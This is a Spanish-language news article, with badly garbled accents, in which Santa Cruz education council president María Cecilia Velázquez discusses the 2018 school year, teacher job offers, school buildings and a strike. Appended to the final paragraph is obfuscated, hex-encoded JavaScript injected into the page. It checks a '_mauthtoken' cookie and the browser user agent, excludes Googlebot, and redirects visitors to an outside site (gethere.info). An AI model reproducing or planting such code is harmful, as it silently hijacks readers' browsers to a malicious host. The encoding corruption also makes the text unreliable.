VelA?zquez se refiriA? al inicio del Ciclo Lectivo 2018

En la inauguraciA?n de la Muestra sobre Malvinas ai???Una vida en imA?genesai???, al presidenta del Consejo provincial de EducaciA?n, MarAi??a Cecilia VelA?zquez dialogA? con medios de RAi??o Gallegos y se refiriA? a la situaciA?n actual del sistema educativo provincial y el inicio del Ciclo Lectivo 2018 en todas las instituciones educativas de la provincia.

En diA?logo con medios de prensa de RAi??o Gallegos, la presidenta del Consejo Provincial de EducaciA?n, MarAi??a Cecilia VelA?zquez se refiriA? al inicio del Ciclo Lectivo 2018 y seAi??alA?: “Todo el equipo de gestiA?n del Consejo estuvimos en todas las localidades acompaAi??ando y apoyando a las instituciones educativas en el inicio de clases”.

Ante lo que agregA?: “Nosotros empezamos el 1 de febrero, seguimos en marzo con la incorporaciA?n del Calendario 1 y lo que hicimos ayer fue articular, en idioma de ruta, dirAi??amos empalmar los dos calendarios y hoy ya Santa Cruz tiene un Calendario 2018”.

En cuanto a la evaluaciA?n de estas primeras jornadas, la funcionaria seAi??alA?: “Lo iniciamos con la alegrAi??a que nos transmiten los pibes y las pibas de Santa Cruz en las escuelas: encontrA?ndose, abrazA?ndose”.

A la vez que hizo hincapiAi?? en el rol de los docentes para el recibimiento de los estudiantes en las escuelas: “Vimos el esmero con que los maestros y profesores de Santa Cruz recibieron a los chicos y las chicas. Como lo dijo la gobernadora en su discurso: Nosotros creemos en ellos”.

TambiAi??n indicA? que la visiA?n “es de mucha esperanza pero tambiAi??n con criterio de realidad en el contexto de dificultades que tenemos en Santa Cruz y en Argentina”.

VelA?zquez se refiriA? tambiAi??n a los actos pA?blicos de ofrecimientos de cargo y seAi??alA?: “Los ofrecimientos pA?blicos de cargos se suspenden porque hubo una situaciA?n de manifestaciA?n de un grupo de docentes y frente a esta situaciA?n siempre se suspende, se labra acta y se pasa a realizar los ofrecimientos a travAi??s de las comisiones de ofrecimientos”.

Al respecto asegurA?: “Garantizamos el ofrecimiento de las horas que son necesarias para impartir en los cursos en cada niveles en relaciA?n con las carreras, las orientaciones y la cantidad de matrAi??cula”.

“Hemos sido muy claros -continuA? la presidenta del CPE – que no podemos tener aulas con 9 alumnos y 25 profesores. Tenemos que revisar la cantidad de secciones y tener aulas, de acuerdo a los niveles, con 25, 30 o 35 alumnos y de acuerdo a las localidades porque no tendremos la misma cantidad de alumnos en Jaramillo que en RAi??o Gallegos o Caleta Olivia”.

En otro tramo de la entrevista, VelA?zquez se refiriA? a la situaciA?n edilicia de las instituciones educativas: “a fin de aAi??o concretamos el traslado de la UEPA al IDUV y la verdad que a partir de allAi?? pudimos acoplar un trabajo que venAi??amos haciendo. No les digo que estamos satisfechos porque no lo estamos, queremos intensificar la tarea pero hoy veAi??a fotos de las escuelas de Santa Cruz y son escuelas de lujo”.

Y agregA?: “Por supuesto trabajamos sobre aquellas cuestiones estructurales para que no impidan el dictado de clases, como calefacciA?n y electricidad, entre otras cosas. Para lo cotidiano estamos trabajando en el rol del mayordomo, aprobado en paritarias, que ya hay en 50 escuelas”.

En este sentido, asegurA? que a partir de estas tareas a partir de julio “vamos a estar anticipA?ndonos porque ahora estamos respondiendo a las problemA?ticas. Esto todavAi??a no nos satisface, queremos estar adelante y planificar como se hacAi??a antaAi??o que en los meses de receso preparA?bamos las escuelas y los chicos y maestros encontraban escuelas en condiciones”.

Respecto a la medida de fuerza decretada para el dAi??a de la fecha por ADOSAC, la presidenta del CPE indicA?: “En general las medidas de fuerza son de muy bajo acatamiento, no llegan a un 10 por ciento de acatamiento”.

“Nosotros seguimos trabajando en paritarias y hemos ofrecido trabajar en tres comisiones: capacitaciA?n, que cuando el Estado se hace cargo es un salario indirecto para los trabajadores de la EducaciA?n; Salud que no es sA?lo control de carpetas mAi??dicas, que muchas veces los padres plantean lo reiteradas que son muchas carpetas, y a veces, revisando plantas funcionales encontramos 13 personas con tareas pasivas”

Pero “no es sA?lo el control sino que queremos saber que emergente hay, que dato, que sAi??ntoma del colectivo docente es que tengamos ese nivel de carpetas mAi??dicas y enfermedades”.

La tercera comisiA?n es de Concurso Docente: “Significa nada mA?s y nada menos que estabilidad. Estamos aspirando a que en el 2019 podamos dejar realizado el concurso por Antecedentes y OposiciA?n con una formaciA?n previa de los cargos directivos”.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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